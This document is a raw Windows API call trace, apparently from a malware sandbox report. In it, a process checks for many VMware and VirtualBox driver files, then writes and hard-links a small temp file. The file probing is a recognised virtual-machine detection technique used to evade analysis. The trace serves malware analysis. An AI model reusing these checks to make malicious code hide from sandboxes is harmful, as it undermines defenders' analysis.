	[0226.813] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmdum.dll" (normalized: "c:\\windows\\system32\\drivers\\vmdum.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.814] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmdum.dll" (normalized: "c:\\windows\\system32\\drivers\\vmdum.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.814] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vm3dver.dll" (normalized: "c:\\windows\\system32\\drivers\\vm3dver.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.814] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vm3dver.dll" (normalized: "c:\\windows\\system32\\drivers\\vm3dver.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.814] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmtray.dll" (normalized: "c:\\windows\\system32\\drivers\\vmtray.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.815] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmtray.dll" (normalized: "c:\\windows\\system32\\drivers\\vmtray.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.815] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VMToolsHook.dll" (normalized: "c:\\windows\\system32\\drivers\\vmtoolshook.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.815] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VMToolsHook.dll" (normalized: "c:\\windows\\system32\\drivers\\vmtoolshook.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.815] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmmousever.dll" (normalized: "c:\\windows\\system32\\drivers\\vmmousever.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.815] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmmousever.dll" (normalized: "c:\\windows\\system32\\drivers\\vmmousever.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.815] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmhgfs.dll" (normalized: "c:\\windows\\system32\\drivers\\vmhgfs.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.815] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmhgfs.dll" (normalized: "c:\\windows\\system32\\drivers\\vmhgfs.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.816] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmGuestLib.dll" (normalized: "c:\\windows\\system32\\drivers\\vmguestlib.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.816] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmGuestLib.dll" (normalized: "c:\\windows\\system32\\drivers\\vmguestlib.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.816] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VmGuestLibJava.dll" (normalized: "c:\\windows\\system32\\drivers\\vmguestlibjava.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.816] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VmGuestLibJava.dll" (normalized: "c:\\windows\\system32\\drivers\\vmguestlibjava.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.816] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Driversvmhgfs.dll" (normalized: "c:\\windows\\system32\\driversvmhgfs.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.816] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Driversvmhgfs.dll" (normalized: "c:\\windows\\system32\\driversvmhgfs.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.817] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0xc000012410, nSize=0x64 | out: lpBuffer="C:\\WINDOWS") returned 0xa
	[0226.818] VirtualAlloc (lpAddress=0xc0000fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fa000
	[0226.819] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxMouse.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxmouse.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.819] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxMouse.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxmouse.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.819] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxGuest.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxguest.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.819] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxGuest.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxguest.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.819] VirtualAlloc (lpAddress=0xc0000fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fc000
	[0226.820] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxSF.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxsf.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.820] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxSF.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxsf.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.820] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxVideo.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxvideo.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.820] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxVideo.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxvideo.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.820] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxdisp.dll" (normalized: "c:\\windows\\system32\\vboxdisp.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.821] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxdisp.dll" (normalized: "c:\\windows\\system32\\vboxdisp.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.821] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxhook.dll" (normalized: "c:\\windows\\system32\\vboxhook.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.821] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxhook.dll" (normalized: "c:\\windows\\system32\\vboxhook.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.821] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxmrxnp.dll" (normalized: "c:\\windows\\system32\\vboxmrxnp.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.821] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxmrxnp.dll" (normalized: "c:\\windows\\system32\\vboxmrxnp.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.821] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxogl.dll" (normalized: "c:\\windows\\system32\\vboxogl.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.821] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxogl.dll" (normalized: "c:\\windows\\system32\\vboxogl.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.822] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglarrayspu.dll" (normalized: "c:\\windows\\system32\\vboxoglarrayspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.822] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglarrayspu.dll" (normalized: "c:\\windows\\system32\\vboxoglarrayspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.822] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglcrutil.dll" (normalized: "c:\\windows\\system32\\vboxoglcrutil.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.822] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglcrutil.dll" (normalized: "c:\\windows\\system32\\vboxoglcrutil.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.822] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglerrorspu.dll" (normalized: "c:\\windows\\system32\\vboxoglerrorspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.822] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglerrorspu.dll" (normalized: "c:\\windows\\system32\\vboxoglerrorspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.822] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglfeedbackspu.dll" (normalized: "c:\\windows\\system32\\vboxoglfeedbackspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.823] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglfeedbackspu.dll" (normalized: "c:\\windows\\system32\\vboxoglfeedbackspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.823] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglpackspu.dll" (normalized: "c:\\windows\\system32\\vboxoglpackspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.823] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglpackspu.dll" (normalized: "c:\\windows\\system32\\vboxoglpackspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.823] VirtualAlloc (lpAddress=0xc0000fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fe000
	[0226.824] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglpassthroughspu.dll" (normalized: "c:\\windows\\system32\\vboxoglpassthroughspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.824] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglpassthroughspu.dll" (normalized: "c:\\windows\\system32\\vboxoglpassthroughspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.824] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetTempPathW") returned 0x7fff4f7a23e0
	[0226.824] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc000096240 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23
	[0226.824] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetCurrentProcessId") returned 0x7fff4f7a1e10
	[0226.824] GetCurrentProcessId () returned 0xfac
	[0226.824] GetCurrentProcessId () returned 0xfac
	[0226.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0226.829] GetConsoleMode (in: hConsoleHandle=0x124, lpMode=0xc0000c9b0c | out: lpMode=0xc0000c9b0c) returned 0
	[0226.829] GetFileType (hFile=0x124) returned 0x1
	[0226.830] GetProcAddress (hModule=0x7fff4f780000, lpProcName="WriteFile") returned 0x7fff4f7a2570
	[0226.830] WriteFile (in: hFile=0x124, lpBuffer=0xc000094be0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xc0000c9b34, lpOverlapped=0x0 | out: lpBuffer=0xc000094be0*, lpNumberOfBytesWritten=0xc0000c9b34*=0x5, lpOverlapped=0x0) returned 1
	[0226.832] VirtualAlloc (lpAddress=0xc000100000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000100000
	[0226.833] GetProcAddress (hModule=0x7fff4f780000, lpProcName="CreateHardLinkW") returned 0x7fff4f79f0f0
	[0226.833] CreateHardLinkW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp", lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987", lpSecurityAttributes=0x0) returned 0
	[0226.839] VirtualAlloc (lpAddress=0xc000102000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000102000
	[0226.839] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a80 | out: lpFileInformation=0xc0000c9a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cf6b50, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x86cf6b50, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x86cf6b50, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x5)) returned 1
	[0226.839] VirtualAlloc (lpAddress=0xc000104000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000104000
	[0226.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a80 | out: lpFileInformation=0xc0000c9a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e79ec91, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x1e79ec91, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x1e79ec91, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x5)) returned 1
	[0226.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x12c
	[0226.846] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetFileInformationByHandle") returned 0x7fff4f7a2310
	[0226.846] GetFileInformationByHandle (in: hFile=0x12c, lpFileInformation=0xc0000c9cd4 | out: lpFileInformation=0xc0000c9cd4) returned 1
	[0226.846] GetProcAddress (hModule=0x7fff4f780000, lpProcName="CloseHandle") returned 0x7fff4f7a1ea0
	[0226.846] CloseHandle (hObject=0x12c) returned 1
	[0226.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x12c
	[0226.847] GetFileInformationByHandle (in: hFile=0x12c, lpFileInformation=0xc0000c9cd4 | out: lpFileInformation=0xc0000c9cd4) returned 1
	[0226.847] CloseHandle (hObject=0x12c) returned 1
